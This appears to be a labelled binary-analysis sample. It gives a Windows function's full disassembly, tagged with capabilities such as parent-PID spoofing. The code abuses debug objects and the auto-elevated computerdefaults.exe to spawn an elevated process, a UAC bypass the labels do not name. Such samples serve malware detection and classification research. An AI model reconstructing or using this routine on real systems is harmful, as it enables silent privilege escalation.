Function at 0x140001830
Capabilities:
Create process on windows
Spoof parent pid
Terminate process

Disassembly:
mov qword [rsp + 0x18], rsi
push rbp
push rdi
push r14
lea rbp, [rsp - 0x4e0]
sub rsp, 0x5e0
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rbp + 0x4d0], rax
mov rsi, rcx
lea rdx, str.C:WindowsSystem32winver.exe
xor r14d, r14d
lea rcx, [rbp + 0xc0]
mov qword [rsp + 0x50], r14
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rax, [rsp + 0x60]
xor r8d, r8d
lea rdx, [rbp + 0xc0]
mov qword [rsp + 0x48], rax
lea rcx, [rbp + 0xc0]
call fcn.1400010b0
test al, al
je 0x1400014ff
mov rdi, qword [rsp + 0x60]
lea r9d, [r14 + 8]
mov rcx, rdi
mov qword [rsp + 0x20], r14
lea r8, [rsp + 0x50]
lea edx, [r14 + 0x1e]
call qword [sym.imp.ntdll.dll_NtQueryInformationProcess]
test eax, eax
jns 0x140001527
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, 0xc0000001
mov rcx, qword [rbp + 0x4d0]
xor rcx, rsp
call fcn.140001880
mov rsi, qword [rsp + 0x610]
add rsp, 0x5e0
pop r14
pop rdi
pop rbp
ret
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.NtRemoveProcessDebug
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, qword [rsp + 0x50]
mov rcx, rdi
call rax
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.C:WindowsSystem32computerdefaults.exe
lea rcx, [rbp + 0xc0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
xor eax, eax
lea rdi, [rsp + 0x60]
mov ecx, 0x18
lea rdx, [rbp + 0xc0]
rep stosb byte [rdi], al
lea rdi, [rbp + 0x10]
mov ecx, 0xb0
rep stosb byte [rdi], al
lea rax, [rsp + 0x60]
mov r8d, 1
lea rcx, [rbp + 0xc0]
mov qword [rsp + 0x48], rax
call fcn.1400010b0
test al, al
je 0x1400014ff
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.DbgUiSetThreadDebugObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [rsp + 0x50]
call rax
mov edx, 0xffffffff
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
test eax, eax
je 0x140001634
nop dword [rax]
cmp dword [rbp + 0x10], 3
jne 0x14000160f
mov rdi, qword [rbp + 0x28]
test rdi, rdi
jne 0x14000163b
mov edx, dword [rbp + 0x18]
mov r8d, 0x10002
mov ecx, dword [rbp + 0x14]
call qword [sym.imp.KERNEL32.dll_ContinueDebugEvent]
mov edx, 0xffffffff
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
test eax, eax
jne 0x140001600
xor eax, eax
jmp 0x140001504
mov rdx, 0xffffffffffffffff
mov dword [rsp + 0x30], r14d
mov r8, rdx
mov dword [rsp + 0x28], r14d
lea r9, [rsp + 0x58]
mov qword [rsp + 0x608], rbx
mov rcx, rdi
mov qword [rsp + 0x58], r14
mov dword [rsp + 0x20], 0x1fffff
call qword [sym.imp.ntdll.dll_NtDuplicateObject]
mov ebx, eax
test eax, eax
js 0x1400017ab
mov rcx, qword [rsp + 0x58]
xorps xmm0, xmm0
xor eax, eax
mov qword [rbp - 0x80], rcx
mov qword [rsp + 0x78], 0x30
movups xmmword [rbp - 0x58], xmm0
mov qword [rbp + 8], rax
lea ecx, [rax + 0x30]
mov qword [rbp - 0x68], rax
movups xmmword [rbp - 0x48], xmm0
mov dword [rbp - 0x60], 0x70
movups xmmword [rbp - 0x38], xmm0
movups xmmword [rbp - 0x28], xmm0
movups xmmword [rbp - 0x18], xmm0
movups xmmword [rbp - 8], xmm0
movups xmmword [rbp - 0x78], xmm0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rbp + 8], rax
test rax, rax
je 0x1400017a0
xor r8d, r8d
lea r9, [rsp + 0x78]
mov rcx, rax
lea edx, [r8 + 1]
call qword [sym.imp.KERNEL32.dll_InitializeProcThreadAttributeList]
test eax, eax
je 0x140001787
mov rcx, qword [rbp + 8]
lea r9, [rbp - 0x80]
mov qword [rsp + 0x30], r14
xor edx, edx
mov qword [rsp + 0x28], r14
mov r8d, 0x20000
mov qword [rsp + 0x20], 8
call qword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
test eax, eax
je 0x140001787
mov eax, 5
mov dword [rbp - 0x24], 1
mov word [rbp - 0x20], ax
xor r9d, r9d
lea rax, [rbp - 0x78]
xor r8d, r8d
mov qword [rsp + 0x48], rax
mov rdx, rsi
lea rax, [rbp - 0x60]
xor ecx, ecx
mov qword [rsp + 0x40], rax
lea rax, str.C:_Windows_System32
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], r14
mov dword [rsp + 0x28], 0x80400
mov dword [rsp + 0x20], r14d
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140001787
mov rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 8]
test rcx, rcx
je 0x14000179a
call qword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
mov rcx, qword [rbp + 8]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.ntdll.dll_NtClose]
lea rcx, str.ntdll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.DbgUiSetThreadDebugObject
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
call rax
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ntdll.dll_NtClose]
mov rcx, rdi
mov qword [rsp + 0x50], r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140001818
call qword [sym.imp.ntdll.dll_NtClose]
mov eax, ebx
mov rbx, qword [rsp + 0x608]
jmp 0x140001504
push rbx
sub rsp, 0x20
mov edx, 2
xor ecx, ecx
mov rbx, r8
call qword [sym.imp.ole32.dll_CoInitializeEx]
test eax, eax
jns 0x140001855
mov eax, 0xffffffff
add rsp, 0x20
pop rbx
ret
mov rcx, rbx
add rsp, 0x20
pop rbx
jmp 0x140001450